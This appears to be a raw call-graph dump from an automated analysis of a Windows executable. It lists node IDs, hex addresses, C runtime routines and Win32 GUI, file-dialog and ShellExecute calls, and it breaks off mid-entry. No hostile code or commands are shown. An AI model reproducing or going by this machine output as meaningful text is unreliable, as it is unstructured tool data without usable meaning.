GetModuleFileNameW 92967->92973 92968 5c2ea9 93092 5b69d0 47 API calls std::exception::_Copy_str 92968->93092 92969->92968 92969->92969 92971 5c2eb4 ___crtGetEnvironmentStringsW 92972 5c2eca FreeEnvironmentStringsW 92971->92972 92972->92967 92974 5c2aaf _wparse_cmdline 92973->92974 92975 5b5eb7 92974->92975 92976 5c2ae9 92974->92976 92975->92907 93013 5b115b 47 API calls 3 library calls 92975->93013 93093 5b69d0 47 API calls std::exception::_Copy_str 92976->93093 92978 5c2aef _wparse_cmdline 92978->92975 92980 5c2cc5 92979->92980 92982 5c2ccd __NMSG_WRITE 92979->92982 92980->92910 92981 5b6986 __calloc_crt 47 API calls 92986 5c2cf6 __NMSG_WRITE 92981->92986 92982->92981 92983 5c2d4d 92984 5b1c9d _free 47 API calls 92983->92984 92984->92980 92985 5b6986 __calloc_crt 47 API calls 92985->92986 92986->92980 92986->92983 92986->92985 92987 5c2d72 92986->92987 92990 5c2d89 92986->92990 93094 5c2567 47 API calls __mbschr_l 92986->93094 92988 5b1c9d _free 47 API calls 92987->92988 92988->92980 93095 5b6e20 IsProcessorFeaturePresent 92990->93095 92994 5b11a1 __initterm_e __initp_misc_cfltcvt_tab __IsNonwritableInCurrentImage 92993->92994 92996 5b11e0 __IsNonwritableInCurrentImage 92994->92996 93118 5b0f0a 52 API calls __cinit 92994->93118 92996->92914 92998 593a29 92997->92998 92999 601ebf 92997->92999 93000 593a63 IsThemeActive 92998->93000 93119 5b1405 93000->93119 93004 593a8f 93131 593adb SystemParametersInfoW SystemParametersInfoW 93004->93131 93006 593a9b 93132 593d19 93006->93132 93008 593aa3 SystemParametersInfoW 93009 593ac8 93008->93009 93009->92918 93010->92892 93011->92896 93012->92903 93016->92919 93017->92922 93019 5b1243 __init_pointers __initp_misc_winsig 93018->93019 93020 5b7f4a 30 API calls 93019->93020 93020->92928 93022 5b7e2f 93021->93022 93023 5b7e35 InitializeCriticalSectionAndSpinCount 93022->93023 93024 5b7b51 93022->93024 93023->93022 93024->92931 93025 5b7e6d 93024->93025 93026 5b7b67 93025->93026 93027 5b7e84 TlsAlloc 93025->93027 93026->92931 93026->92936 93030 5b698d 93028->93030 93031 5b69ca 93030->93031 93032 5b69ab Sleep 93030->93032 93038 5c30aa 93030->93038 93031->92939 93035 5b7ec9 TlsSetValue 93031->93035 93033 5b69c2 93032->93033 93033->93030 93033->93031 93034->92934 93035->92943 93036->92946 93037->92942 93039 5c30b5 93038->93039 93044 5c30d0 __calloc_impl 93038->93044 93040 5c30c1 93039->93040 93039->93044 93045 5b7c0e 47 API calls __getptd_noexit 93040->93045 93042 5c30e0 RtlAllocateHeap 93043 5c30c6 93042->93043 93042->93044 93043->93030 93044->93042 93044->93043 93045->93043 93047 5b7d18 EnterCriticalSection 93046->93047 93048 5b7d05 93046->93048 93047->92950 93054 5b7d7c 93048->93054 93050 5b7d0b 93050->93047 93078 5b115b 47 API calls 3 library calls 93050->93078 93053->92956 93055 5b7d88 _fprintf 93054->93055 93056 5b7da9 93055->93056 93057 5b7d91 93055->93057 93059 5b7e11 _fprintf 93056->93059 93072 5b7da7 93056->93072 93079 5b81c2 47 API calls __NMSG_WRITE 93057->93079 93059->93050 93060 5b7d96 93080 5b821f 47 API calls 5 library calls 93060->93080 93062 5b7dbd 93064 5b7dd3 93062->93064 93065 5b7dc4 93062->93065 93068 5b7cf4 __lock 46 API calls 93064->93068 93083 5b7c0e 47 API calls __getptd_noexit 93065->93083 93066 5b7d9d 93081 5b1145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 93066->93081 93071 5b7dda 93068->93071 93070 5b7dc9 93070->93059 93073 5b7de9 InitializeCriticalSectionAndSpinCount 93071->93073 93074 5b7dfe 93071->93074 93072->93056 93082 5b69d0 47 API calls std::exception::_Copy_str 93072->93082 93075 5b7e04 93073->93075 93084 5b1c9d 93074->93084 93090 5b7e1a LeaveCriticalSection _doexit 93075->93090 93079->93060 93080->93066 93082->93062 93083->93070 93085 5b1ca6 RtlFreeHeap 93084->93085 93089 5b1ccf _free 93084->93089 93086 5b1cbb 93085->93086 93085->93089 93091 5b7c0e 47 API calls __getptd_noexit 93086->93091 93088 5b1cc1 GetLastError 93088->93089 93089->93075 93090->93059 93091->93088 93092->92971 93093->92978 93094->92986 93096 5b6e2b 93095->93096 93101 5b6cb5 93096->93101 93100 5b6e46 93100->92910 93102 5b6ccf _memset ___raise_securityfailure 93101->93102 93103 5b6cef IsDebuggerPresent 93102->93103 93109 5b81ac SetUnhandledExceptionFilter UnhandledExceptionFilter 93103->93109 93106 5b6db3 ___raise_securityfailure 93110 5ba70c 93106->93110 93107 5b6dd6 93108 5b8197 GetCurrentProcess TerminateProcess 93107->93108 93108->93100 93109->93106 93111 5ba716 IsProcessorFeaturePresent 93110->93111 93112 5ba714 93110->93112 93114 5c37b0 93111->93114 93112->93107 93117 5c375f 5 API calls ___raise_securityfailure 93114->93117 93116 5c3893 93116->93107 93117->93116 93118->92996 93120 5b7cf4 __lock 47 API calls 93119->93120 93121 5b1410 93120->93121 93184 5b7e58 LeaveCriticalSection 93121->93184 93123 593a88 93124 5b146d 93123->93124 93125 5b1491 93124->93125 93126 5b1477 93124->93126 93125->93004 93126->93125 93185 5b7c0e 47 API calls __getptd_noexit 93126->93185 93128 5b1481 93186 5b6e10 8 API calls __mbschr_l 93128->93186 93130 5b148c 93130->93004 93131->93006 93133 593d26 __ftell_nolock 93132->93133 93187 59d7f7 93133->93187 93137 593d57 IsDebuggerPresent 93138 601cc1 MessageBoxA 93137->93138 93139 593d65 93137->93139 93141 601cd9 93138->93141 93140 593e3a 93139->93140 93139->93141 93142 593d82 93139->93142 93143 593e41 SetCurrentDirectoryW 93140->93143 93380 5ac682 48 API calls 93141->93380 93266 5940e5 93142->93266 93146 593e4e Mailbox 93143->93146 93146->93008 93147 601ce9 93152 601cff SetCurrentDirectoryW 93147->93152 93149 593da0 GetFullPathNameW 93282 596a63 93149->93282 93151 593ddb 93293 596430 93151->93293 93152->93146 93155 593df6 93156 593e00 93155->93156 93381 5d71fa AllocateAndInitializeSid CheckTokenMembership FreeSid 93155->93381 93309 593e6e GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 93156->93309 93159 601d1c 93159->93156 93163 601d2d 93159->93163 93162 593e0a 93164 593e1f 93162->93164 93378 594ffc 67 API calls _memset 93162->93378 93382 595374 93163->93382 93317 59e8d0 93164->93317 93168 601d35 93389 59ce19 93168->93389 93171 601d42 93172 601d49 93171->93172 93173 601d6e 93171->93173 93395 59518c 93172->93395 93176 59518c 48 API calls 93173->93176 93178 601d6a GetForegroundWindow ShellExecuteW 93176->93178 93182 601d9e Mailbox 93178->93182 93182->93140 93183 59518c 48 API calls 93183->93178 93184->93123 93185->93128 93186->93130 93414 5af4ea 93187->93414 93189 59d818 93190 5af4ea 48 API calls 93189->93190 93191 593d31 GetCurrentDirectoryW 93190->93191 93192 5961ca 93191->93192 93445 5ae99b 93192->93445 93196 5961eb 93197 595374 50 API calls 93196->93197 93198 5961ff 93197->93198 93199 59ce19 48 API calls 93198->93199 93200 59620c 93199->93200 93462 5939db 93200->93462 93202 596216 Mailbox 93474 596eed 93202->93474 93207 59ce19 48 API calls 93208 596244 93207->93208 93481 59d6e9 93208->93481 93210 596254 Mailbox 93211 59ce19 48 API calls 93210->93211 93212 59627c 93211->93212 93213 59d6e9 55 API calls 93212->93213 93214 59628f Mailbox 93213->93214 93215 59ce19 48 API calls 93214->93215 93216 5962a0 93215->93216 93485 59d645 93216->93485 93218 5962b2 Mailbox 93219 59d7f7 48 API calls 93218->93219 93220 5962c5 93219->93220 93495 5963fc 93220->93495 93224 5962df 93225 5962e9 93224->93225 93226 601c08 93224->93226 93227 5b0fa7 _W_store_winword 59 API calls 93225->93227 93228 5963fc 48 API calls 93226->93228 93229 5962f4 93227->93229 93230 601c1c 93228->93230 93229->93230 93231 5962fe 93229->93231 93232 5963fc 48 API calls 93230->93232 93233 5b0fa7 _W_store_winword 59 API calls 93231->93233 93234 601c38 93232->93234 93235 596309 93233->93235 93237 595374 50 API calls 93234->93237 93235->93234 93236 596313 93235->93236 93238 5b0fa7 _W_store_winword 59 API calls 93236->93238 93239 601c5d 93237->93239 93242 59631e 93238->93242 93240 5963fc 48 API calls 93239->93240 93245 601c69 93240->93245 93241 59635f 93243 59636c 93241->93243 93244 601c86 93241->93244 93242->93241 93242->93244 93248 5963fc 48 API calls 93242->93248 93511 5ac050 93243->93511 93246 596eed 48 API calls 93244->93246 93247 596eed 48 API calls 93245->93247 93249 601ca8 93246->93249 93251 601c77 93247->93251 93252 596342 93248->93252 93254 5963fc 48 API calls 93249->93254 93256 5963fc 48 API calls 93251->93256 93253 596eed 48 API calls 93252->93253 93257 596350 93253->93257 93258 601cb5 93254->93258 93255 596384 93522 5a1b90 93255->93522 93256->93244 93260 5963fc 48 API calls 93257->93260 93258->93258 93260->93241 93261 5a1b90 48 API calls 93263 596394 93261->93263 93263->93261 93264 5963fc 48 API calls 93263->93264 93265 5963d6 Mailbox 93263->93265 93538 596b68 48 API calls 93263->93538 93264->93263 93265->93137 93267 5940f2 __ftell_nolock 93266->93267 93268 59410b 93267->93268 93269 60370e _memset 93267->93269 94093 59660f 93268->94093 93272 60372a GetOpenFileNameW 93269->93272 93274 603779 93272->93274 93276 596a63 48 API calls 93274->93276 93278 60378e 93276->93278 93278->93278 93279 594129 94118 594139 93279->94118 93283 596adf 93282->93283 93285 596a6f __NMSG_WRITE 93282->93285 93284 59b18b 48 API calls 93283->93284 93292 596ab6 ___crtGetEnvironmentStringsW 93284->93292 93286 596a8b 93285->93286 93287 596ad7 93285->93287 94338 596b4a 93286->94338 94341 59c369 48 API calls 93287->94341 93290 596a95 93291 5aee75 48 API calls 93290->93291 93291->93292 93292->93151 93294 59643d __ftell_nolock 93293->93294 94342 594c75 93294->94342 93296 596442 93308 593dee 93296->93308 94353 595928 86 API calls 93296->94353 93298 59644f 93298->93308 94354 595798 88 API calls Mailbox 93298->94354 93300 596458 93301 59645c GetFullPathNameW 93300->93301 93300->93308 93302 596a63 48 API calls 93301->93302 93303 596488 93302->93303 93304 596a63 48 API calls 93303->93304 93305 596495 93304->93305 93306 605dcf _wcscat 93305->93306 93307 596a63 48 API calls 93305->93307 93307->93308 93308->93147 93308->93155 93310 593ed8 93309->93310 93311 601cba 93309->93311 94401 594024 93310->94401 93315 593e05 93316 5936b8 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 93315->93316 93316->93162 93318 59e8f6 93317->93318 93377 59e906 Mailbox 93317->93377 93320 59ed52 93318->93320 93318->93377 93319 5dcc5c 86 API calls 93319->93377 94565 5ae3cd 331 API calls 93320->94565 93322 59ebc7 93323 593e2a 93322->93323 94566 592ff6 16 API calls 93322->94566 93323->93140 93379 593847 Shell_NotifyIconW _memset 93323->93379 93325 59ed63 93325->93323 93327 59ed70 93325->93327 93326 59e94c PeekMessageW 93326->93377 94567 5ae312 331 API calls Mailbox 93327->94567 93329 60526e Sleep 93329->93377 93330 59ed77 LockWindowUpdate DestroyWindow GetMessageW 93330->93323 93332 59eda9 93330->93332 93333 6059ef TranslateMessage DispatchMessageW GetMessageW 93332->93333 93333->93333 93335 605a1f 93333->93335 93335->93323 93336 59ed21 PeekMessageW 93336->93377 93338 59ebf7 timeGetTime 93338->93377 93339 596eed 48 API calls 93339->93377 93340 59ed3a TranslateMessage DispatchMessageW 93340->93336 93341 5af4ea 48 API calls 93341->93377 93342 605557 WaitForSingleObject 93345 605574 GetExitCodeProcess CloseHandle 93342->93345 93342->93377 93343 59d7f7 48 API calls 93370 605429 Mailbox 93343->93370 93344 60588f Sleep 93344->93370 93345->93377 93346 59edae timeGetTime 94568 591caa 49 API calls 93346->94568 93349 605733 Sleep 93349->93370 93351 592aae 307 API calls 93351->93377 93353 5adc38 timeGetTime 93353->93370 93354 605926 GetExitCodeProcess 93356 605952 CloseHandle 93354->93356 93357 60593c WaitForSingleObject 93354->93357 93355 605445 Sleep 93355->93377 93356->93370 93357->93356 93357->93377 93358 605432 Sleep 93358->93355 93359 5f8c4b 108 API calls 93359->93370 93360 592c79 107 API calls 93360->93370 93362 6059ae Sleep 93362->93377 93363 591caa 49 API calls 93363->93377 93366 59ce19 48 API calls 93366->93370 93368 59d6e9 55 API calls 93368->93370 93370->93343 93370->93353 93370->93354 93370->93355 93370->93358 93370->93359 93370->93360 93370->93362 93370->93366 93370->93368 93370->93377 94570 5d4cbe 49 API calls Mailbox 93370->94570 94571 591caa 49 API calls 93370->94571 94572 592aae 331 API calls 93370->94572 94602 5eccb2 50 API calls 93370->94602 94603 5d7a58 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 93370->94603 94604 5d6532 63 API calls 3 library calls 93370->94604 93375 59d6e9 55 API calls 93375->93377 93376 59ce19 48 API calls 93376->93377 93377->93319 93377->93322 93377->93326 93377->93329 93377->93336 93377->93338 93377->93339 93377->93340 93377->93341 93377->93342 93377->93344 93377->93346 93377->93349 93377->93351 93377->93355 93377->93363 93377->93370 93377->93375 93377->93376 94406 59f110 93377->94406 94471 5a45e0 93377->94471 94488 5a3200 93377->94488 94561 59eed0 331 API calls Mailbox 93377->94561 94562 59ef00 331 API calls 93377->94562 94563 5ae244 TranslateAcceleratorW 93377->94563 94564 5adc5f IsDialogMessageW GetClassLongW 93377->94564 94569 5f8d23 48 API calls 93377->94569 94573 59fe30 93377->94573 93378->93164 93379->93140 93380->93147 93381->93159 93383 5bf8a0 __ftell_nolock 93382->93383 93384 595381 GetModuleFileNameW 93383->93384 93385 59ce19 48 API calls 93384->93385 93386 5953a7 93385->93386 93387 59660f 49 API calls 93386->93387 93388 5953b1 Mailbox 93387->93388 93388->93168 93390 59ce28 __NMSG_WRITE 93389->93390 93391 5aee75 48 API calls 93390->93391 93392 59ce50 ___crtGetEnvironmentStringsW 93391->93392 93393 5af4ea 48 API calls 93392->93393 93394 59ce66 93393->93394 93394->93171 93396 595197 93395->93396 93397 59519f 93396->93397 93398 601ace 93396->93398 94895 595130 93397->94895 93400 596b4a 48 API calls 93398->93400 93402 601adb __NMSG_WRITE 93400->93402 93401 5951aa 93405 59510d 93401->93405 93403 5aee75 48 API calls 93402->93403 93404 601b07 ___crtGetEnvironmentStringsW 93403->93404 93406 59511f 93405->93406 93407 601be7 93405->93407 94905 59b384 93406->94905 94914 5ca58f 48 API calls ___crtGetEnvironmentStringsW 93407->94914 93410 59512b 93410->93183 93411 601bf1 93412 596eed 48 API calls 93411->93412 93413 601bf9 Mailbox 93412->93413 93417 5af4f2 __calloc_impl 93414->93417 93416 5af50c 93416->93189 93417->93416 93418 5af50e std::exception::exception 93417->93418 93423 5b395c 93417->93423 93437 5b6805 RaiseException 93418->93437 93420 5af538 93438 5b673b 47 API calls _free 93420->93438 93422 5af54a 93422->93189 93424 5b39d7 __calloc_impl 93423->93424 93430 5b3968 __calloc_impl 93423->93430 93444 5b7c0e 47 API calls __getptd_noexit 93424->93444 93427 5b399b RtlAllocateHeap 93427->93430 93436 5b39cf 93427->93436 93429 5b39c3 93442 5b7c0e 47 API calls __getptd_noexit 93429->93442 93430->93427 93430->93429 93433 5b39c1 93430->93433 93434 5b3973 93430->93434 93443 5b7c0e 47 API calls __getptd_noexit 93433->93443 93434->93430 93439 5b81c2 47 API calls __NMSG_WRITE 93434->93439 93440 5b821f 47 API calls 5 library calls 93434->93440 93441 5b1145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 93434->93441 93436->93417 93437->93420 93438->93422 93439->93434 93440->93434 93442->93433 93443->93436 93444->93436 93446 59d7f7 48 API calls 93445->93446 93447 5961db 93446->93447 93448 596009 93447->93448 93449 596016 __ftell_nolock 93448->93449 93450 596a63 48 API calls 93449->93450 93455 59617c Mailbox 93449->93455 93452 596048 93450->93452 93460 59607e Mailbox 93452->93460 93539 5961a6 93452->93539 93453 59614f 93454 59ce19 48 API calls 93453->93454 93453->93455 93457 596170 93454->93457 93455->93196 93456 59ce19 48 API calls 93456->93460 93458 5964cf 48 API calls 93457->93458 93458->93455 93460->93453 93460->93455 93460->93456 93461 5961a6 48 API calls 93460->93461 93542 5964cf 93460->93542 93461->93460 93565 5941a9 93462->93565 93465 593a06 93465->93202 93468 602ff0 93470 5b1c9d _free 47 API calls 93468->93470 93471 602ffd 93470->93471 93472 594252 84 API calls 93471->93472 93473 603006 93472->93473 93473->93473 93475 596ef8 93474->93475 93476 59622b 93474->93476 94081 59dd47 48 API calls ___crtGetEnvironmentStringsW 93475->94081 93478 599048 93476->93478 93479 5af4ea 48 API calls 93478->93479 93480 596237 93479->93480 93480->93207 93482 59d6f4 93481->93482 93483 59d71b 93482->93483 94082 59d764 55 API calls 93482->94082 93483->93210 93486 59d654 93485->93486 93494 59d67e 93485->93494 93487 59d65b 93486->93487 93488 59d6c2 93486->93488 93489 59d6ab 93487->93489 93491 59d666 93487->93491 93488->93489 94085 5adce0 53 API calls 93488->94085 93489->93494 94084 5adce0 53 API calls 93489->94084 94083 59d9a0 53 API calls __cinit 93491->94083 93494->93218 93496 59641f 93495->93496 93497 596406 93495->93497 93499 596a63 48 API calls 93496->93499 93498 596eed 48 API calls 93497->93498 93500 5962d1 93498->93500 93499->93500 93501 5b0fa7 93500->93501 93502 5b1028 93501->93502 93503 5b0fb3 93501->93503 94088 5b103a 59 API calls 3 library calls 93502->94088 93510 5b0fd8 93503->93510 94086 5b7c0e 47 API calls __getptd_noexit 93503->94086 93506 5b1035 93506->93224 93507 5b0fbf 94087 5b6e10 8 API calls __mbschr_l 93507->94087 93509 5b0fca 93509->93224 93510->93224 93512 5ac064 93511->93512 93514 5ac069 Mailbox 93511->93514 94089 5ac1af 48 API calls 93512->94089 93520 5ac077 93514->93520 94090 5ac15c 48 API calls 93514->94090 93516 5af4ea 48 API calls 93518 5ac108 93516->93518 93517 5ac152 93517->93255 93519 5af4ea 48 API calls 93518->93519 93521 5ac113 93519->93521 93520->93516 93520->93517 93521->93255 93523 5a1cf6 93522->93523 93526 5a1ba2 93522->93526 93523->93263 93524 5a1bae 93530 5a1bb9 93524->93530 94092 5ac15c 48 API calls 93524->94092 93526->93524 93527 5af4ea 48 API calls 93526->93527 93528 6049c4 93527->93528 93529 5af4ea 48 API calls 93528->93529 93537 6049cf 93529->93537 93531 5a1c5d 93530->93531 93532 5af4ea 48 API calls 93530->93532 93531->93263 93533 5a1c9f 93532->93533 93534 5a1cb2 93533->93534 94091 592925 48 API calls 93533->94091 93534->93263 93536 5af4ea 48 API calls 93536->93537 93537->93524 93537->93536 93538->93263 93548 59bdfa 93539->93548 93541 5961b1 93541->93452 93543 59651b 93542->93543 93547 5964dd ___crtGetEnvironmentStringsW 93542->93547 93545 5af4ea 48 API calls 93543->93545 93544 5af4ea 48 API calls 93546 5964e4 93544->93546 93545->93547 93546->93460 93547->93544 93549 59be0d 93548->93549 93553 59be0a ___crtGetEnvironmentStringsW 93548->93553 93550 5af4ea 48 API calls 93549->93550 93551 59be17 93550->93551 93554 5aee75 93551->93554 93553->93541 93556 5af4ea __calloc_impl 93554->93556 93555 5b395c std::exception::_Copy_str 47 API calls 93555->93556 93556->93555 93557 5af50c 93556->93557 93558 5af50e std::exception::exception 93556->93558 93557->93553 93563 5b6805 RaiseException 93558->93563 93560 5af538 93564 5b673b 47 API calls _free 93560->93564 93562 5af54a 93562->93553 93563->93560 93564->93562 93630 594214 93565->93630 93570 604f73 93572 594252 84 API calls 93570->93572 93571 5941d4 LoadLibraryExW 93640 594291 93571->93640 93574 604f7a 93572->93574 93576 594291 3 API calls 93574->93576 93578 604f82 93576->93578 93666 5944ed 93578->93666 93579 5941fb 93579->93578 93580 594207 93579->93580 93582 594252 84 API calls 93580->93582 93584 5939fe 93582->93584 93584->93465 93589 5dc396 93584->93589 93586 604fa9 93674 594950 93586->93674 93590 594517 83 API calls 93589->93590 93591 5dc405 93590->93591 93855 5dc56d 93591->93855 93594 5944ed 64 API calls 93595 5dc432 93594->93595 93596 5944ed 64 API calls 93595->93596 93597 5dc442 93596->93597 93598 5944ed 64 API calls 93597->93598 93599 5dc45d 93598->93599 93600 5944ed 64 API calls 93599->93600 93601 5dc478 93600->93601 93602 594517 83 API calls 93601->93602 93603 5dc48f 93602->93603 93604 5b395c std::exception::_Copy_str 47 API calls 93603->93604 93605 5dc496 93604->93605 93606 5b395c std::exception::_Copy_str 47 API calls 93605->93606 93607 5dc4a0 93606->93607 93608 5944ed 64 API calls 93607->93608 93609 5dc4b4 93608->93609 93610 5dbf5a GetSystemTimeAsFileTime 93609->93610 93611 5dc4c7 93610->93611 93612 5dc4dc 93611->93612 93613 5dc4f1 93611->93613 93614 5b1c9d _free 47 API calls 93612->93614 93615 5dc4f7 93613->93615 93616 5dc556 93613->93616 93618 5dc4e2 93614->93618 93861 5db965 118 API calls __fcloseall 93615->93861 93617 5b1c9d _free 47 API calls 93616->93617 93623 5dc41b 93617->93623 93620 5b1c9d _free 47 API calls 93618->93620 93620->93623 93621 5dc54e 93622 5b1c9d _free 47 API calls 93621->93622 93622->93623 93623->93468 93624 594252 93623->93624 93625 59425c 93624->93625 93626 594263 93624->93626 93862 5b35e4 93625->93862 93628 594283 FreeLibrary 93626->93628 93629 594272 93626->93629 93628->93629 93629->93468 93679 594339 93630->93679 93633 59423c 93634 5941bb 93633->93634 93635 594244 FreeLibrary 93633->93635 93637 5b3499 93634->93637 93635->93634 93687 5b34ae 93637->93687 93639 5941c8 93639->93570 93639->93571 93766 5942e4 93640->93766 93643 5942b8 93645 5941ec 93643->93645 93646 5942c1 FreeLibrary 93643->93646 93647 594380 93645->93647 93646->93645 93648 5af4ea 48 API calls 93647->93648 93649 594395 93648->93649 93774 5947b7 93649->93774 93651 5943a1 ___crtGetEnvironmentStringsW 93652 5943dc 93651->93652 93654 594499 93651->93654 93655 5944d1 93651->93655 93653 594950 57 API calls 93652->93653 93659 5943e5 93653->93659 93777 59406b CreateStreamOnHGlobal 93654->93777 93788 5dc750 93 API calls 93655->93788 93658 5944ed 64 API calls 93658->93659 93659->93658 93661 594479 93659->93661 93662 604ed7 93659->93662 93783 594517 93659->93783 93661->93579 93663 594517 83 API calls 93662->93663 93664 604eeb 93663->93664 93665 5944ed 64 API calls 93664->93665 93665->93661 93667 604fc0 93666->93667 93668 5944ff 93666->93668 93812 5b381e 93668->93812 93671 5dbf5a 93832 5dbdb4 93671->93832 93673 5dbf70 93673->93586 93675 59495f 93674->93675 93678 605002 93674->93678 93837 5b3e65 93675->93837 93677 594967 93683 59434b 93679->93683 93682 594321 LoadLibraryA GetProcAddress 93682->93633 93684 59422f 93683->93684 93685 594354 LoadLibraryA 93683->93685 93684->93633 93684->93682 93685->93684 93686 594365 GetProcAddress 93685->93686 93686->93684 93689 5b34ba _fprintf 93687->93689 93688 5b34cd 93735 5b7c0e 47 API calls __getptd_noexit 93688->93735 93689->93688 93691 5b34fe 93689->93691 93706 5be4c8 93691->93706 93692 5b34d2 93736 5b6e10 8 API calls __mbschr_l 93692->93736 93695 5b3503 93696 5b3519 93695->93696 93697 5b350c 93695->93697 93699 5b3543 93696->93699 93700 5b3523 93696->93700 93737 5b7c0e 47 API calls __getptd_noexit 93697->93737 93720 5be5e0 93699->93720 93738 5b7c0e 47 API calls __getptd_noexit 93700->93738 93701 5b34dd @_EH4_CallFilterFunc@8 _fprintf 93701->93639 93707 5be4d4 _fprintf 93706->93707 93708 5b7cf4 __lock 47 API calls 93707->93708 93718 5be4e2 93708->93718 93709 5be552 93740 5be5d7 93709->93740 93710 5be559 93745 5b69d0 47 API calls std::exception::_Copy_str 93710->93745 93713 5be5cc _fprintf 93713->93695 93714 5be560 93714->93709 93715 5be56f InitializeCriticalSectionAndSpinCount EnterCriticalSection 93714->93715 93715->93709 93717 5b7d7c __mtinitlocknum 47 API calls 93717->93718 93718->93709 93718->93710 93718->93717 93743 5b4e5b 48 API calls __lock 93718->93743 93744 5b4ec5 LeaveCriticalSection LeaveCriticalSection _doexit 93718->93744 93729 5be600 __wopenfile 93720->93729 93721 5be61a 93750 5b7c0e 47 API calls __getptd_noexit 93721->93750 93723 5be7d5 93723->93721 93727 5be838 93723->93727 93724 5be61f 93751 5b6e10 8 API calls __mbschr_l 93724->93751 93726 5b354e 93739 5b3570 LeaveCriticalSection LeaveCriticalSection _fseek 93726->93739 93747 5c63c9 93727->93747 93729->93721 93729->93723 93729->93729 93752 5b185b 59 API calls 2 library calls 93729->93752 93731 5be7ce 93731->93723 93753 5b185b 59 API calls 2 library calls 93731->93753 93733 5be7ed 93733->93723 93754 5b185b 59 API calls 2 library calls 93733->93754 93735->93692 93736->93701 93737->93701 93738->93701 93739->93701 93746 5b7e58 LeaveCriticalSection 93740->93746 93742 5be5de 93742->93713 93743->93718 93744->93718 93745->93714 93746->93742 93755 5c5bb1 93747->93755 93749 5c63e2 93749->93726 93750->93724 93751->93726 93752->93731 93753->93733 93754->93723 93756 5c5bbd _fprintf 93755->93756 93757 5c5bcf 93756->93757 93760 5c5c06 93756->93760 93758 5b7c0e __mbschr_l 47 API calls 93757->93758 93759 5c5bd4 93758->93759 93761 5b6e10 __mbschr_l 8 API calls 93759->93761 93762 5c5c78 __wsopen_helper 110 API calls 93760->93762 93765 5c5bde _fprintf 93761->93765 93763 5c5c23 93762->93763 93764 5c5c4c __wsopen_helper LeaveCriticalSection 93763->93764 93764->93765 93765->93749 93770 5942f6 93766->93770 93769 5942cc LoadLibraryA GetProcAddress 93769->93643 93771 5942aa 93770->93771 93772 5942ff LoadLibraryA 93770->93772 93771->93643 93771->93769 93772->93771 93773 594310 GetProcAddress 93772->93773 93773->93771 93775 5af4ea 48 API calls 93774->93775 93776 5947c9 93775->93776 93776->93651 93778 594085 FindResourceExW 93777->93778 93782 5940a2 93777->93782 93779 604f16 LoadResource 93778->93779 93778->93782 93780 604f2b SizeofResource 93779->93780 93779->93782 93781 604f3f LockResource 93780->93781 93780->93782 93781->93782 93782->93652 93784 594526 93783->93784 93786 604fe0 93783->93786 93789 5b3a8d 93784->93789 93787 594534 93787->93659 93788->93652 93793 5b3a99 _fprintf 93789->93793 93790 5b3aa7 93802 5b7c0e 47 API calls __getptd_noexit 93790->93802 93792 5b3acd 93804 5b4e1c 93792->93804 93793->93790 93793->93792 93795 5b3aac 93803 5b6e10 8 API calls __mbschr_l 93795->93803 93799 5b3ae2 93811 5b3b04 LeaveCriticalSection LeaveCriticalSection _fseek 93799->93811 93801 5b3ab7 _fprintf 93801->93787 93802->93795 93803->93801 93805 5b4e4e EnterCriticalSection 93804->93805 93806 5b4e2c 93804->93806 93809 5b3ad3 93805->93809 93806->93805 93807 5b4e34 93806->93807 93808 5b7cf4 __lock 47 API calls 93807->93808 93808->93809 93810 5b39fe 81 API calls 4 library calls 93809->93810 93810->93799 93811->93801 93815 5b3839 93812->93815 93814 594510 93814->93671 93816 5b3845 _fprintf 93815->93816 93817 5b385b _memset 93816->93817 93818 5b3888 93816->93818 93820 5b3880 _fprintf 93816->93820 93828 5b7c0e 47 API calls __getptd_noexit 93817->93828 93819 5b4e1c __lock_file 48 API calls 93818->93819 93821 5b388e 93819->93821 93820->93814 93830 5b365b 62 API calls 6 library calls 93821->93830 93824 5b3875 93829 5b6e10 8 API calls __mbschr_l 93824->93829 93825 5b38a4 93831 5b38c2 LeaveCriticalSection LeaveCriticalSection _fseek 93825->93831 93828->93824 93829->93820 93830->93825 93831->93820 93835 5b344a GetSystemTimeAsFileTime 93832->93835 93834 5dbdc3 93834->93673 93836 5b3478 __aulldiv 93835->93836 93836->93834 93838 5b3e71 _fprintf 93837->93838 93839 5b3e7f 93838->93839 93840 5b3e94 93838->93840 93851 5b7c0e 47 API calls __getptd_noexit 93839->93851 93841 5b4e1c __lock_file 48 API calls 93840->93841 93843 5b3e9a 93841->93843 93853 5b3b0c 55 API calls 5 library calls 93843->93853 93844 5b3e84 93852 5b6e10 8 API calls __mbschr_l 93844->93852 93847 5b3ea5 93854 5b3ec5 LeaveCriticalSection LeaveCriticalSection _fseek 93847->93854 93849 5b3eb7 93850 5b3e8f _fprintf 93849->93850 93850->93677 93851->93844 93852->93850 93853->93847 93854->93849 93858 5dc581 __tzset_nolock _wcscmp 93855->93858 93856 5dbf5a GetSystemTimeAsFileTime 93856->93858 93857 5dc417 93857->93594 93857->93623 93858->93856 93858->93857 93859 5944ed 64 API calls 93858->93859 93860 594517 83 API calls 93858->93860 93859->93858 93860->93858 93861->93621 93863 5b35f0 _fprintf 93862->93863 93864 5b361c 93863->93864 93865 5b3604 93863->93865 93868 5b4e1c __lock_file 48 API calls 93864->93868 93872 5b3614 _fprintf 93864->93872 93891 5b7c0e 47 API calls __getptd_noexit 93865->93891 93867 5b3609 93892 5b6e10 8 API calls __mbschr_l 93867->93892 93870 5b362e 93868->93870 93875 5b3578 93870->93875 93872->93626 93876 5b359b 93875->93876 93877 5b3587 93875->93877 93884 5b3597 93876->93884 93894 5b2c84 93876->93894 93934 5b7c0e 47 API calls __getptd_noexit 93877->93934 93880 5b358c 93935 5b6e10 8 API calls __mbschr_l 93880->93935 93893 5b3653 LeaveCriticalSection LeaveCriticalSection _fseek 93884->93893 93887 5b35b5 93911 5be9d2 93887->93911 93889 5b35bb 93889->93884 93890 5b1c9d _free 47 API calls 93889->93890 93890->93884 93891->93867 93892->93872 93893->93872 93895 5b2c97 93894->93895 93899 5b2cbb 93894->93899 93896 5b2933 _fprintf 47 API calls 93895->93896 93895->93899 93897 5b2cb4 93896->93897 93936 5baf61 93897->93936 93900 5beb36 93899->93900 93901 5b35af 93900->93901 93902 5beb43 93900->93902 93904 5b2933 93901->93904 93902->93901 93903 5b1c9d _free 47 API calls 